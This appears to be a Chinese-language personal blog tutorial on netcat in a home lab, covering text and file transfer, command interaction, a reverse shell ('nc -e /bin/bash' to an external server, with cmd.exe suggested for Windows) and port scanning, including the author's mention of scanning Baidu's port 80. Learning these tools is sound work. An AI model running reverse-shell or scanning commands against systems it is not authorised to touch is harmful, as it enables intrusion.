实验环境

netcat简称nc,也被誉为网络安全界的瑞士军刀,正好这两天在很多大佬那学了点nc的操作,写篇文章纪念一下。

首先是nc的版本:
这台虚拟机的是kali系统,ip是192.168.17.131。

1
2
3
──(root㉿kali)-[~]
└─# nc -h
[v1.10-48]

另一台虚拟机为ubuntu系统,ip是192.168.10.10

1
2
root@ubuntu:~# nc -h
OpenBSD netcat (Debian patchlevel 1.218-4ubuntu1)

然后是外网的一台服务器,用的是centos系统,ip我将用Cip代替。

1
2
[root@CentOS ~]# nc -h
1.229-1

下面开始正式操作:

文字传输

基本文字传输

-首先在kali上开启监听

1
nc -lp 222

-然后在ubuntu上尝试连接kali的222端口

1
nc -vn 192.168.17.131 222

可以看到连接成功了,接着输入一些文字。

在kali上可以看到监听到的信息。

双方只要有一个键入ctrl+c就可以断开连接。

文件传输

基于同样的原理,只需要利用重定向符,将文件内容重定向到nc的标准输入,就可以完成文件传输。

命令交互

基本命令交互

-首先在kali上开启监听

1
nc -p 222

-然后在ubuntu上尝试连接kali的222端口

1
nc -vn 192.168.17.131 222

然后就可以进行命令交互了

内网弹 shell

-首先在服务器Centos上开启监听

1
nc -lv 2333

-然后在kali上尝试连接服务器的2333端口,这里的Cip是服务器的ip

1
nc -e /bin/bash Cip 2333

然后就可以进行命令交互了

内网弹shell的原理是利用nc的-e参数,连接后执行指定的命令,这里是/bin/bash。

同理,如果内网的虚拟机是windows系统,就可以将/bin/bash替换为cmd.exe。

扫描端口

nc的端口扫描并不是其主要功能,这里简单介绍一下

扫描单个端口

扫描成功后可获取改端口的一些信息,如扫描80端口,可获取其一些服务器信息。(如果它没有做任何防护的话,大胆扫描了一下百度的80端口,结果啥都没得到…)

1
nc -v Targetip 端口

扫描多个端口

速度会比较慢

1
nc -v -z Targetip 1-100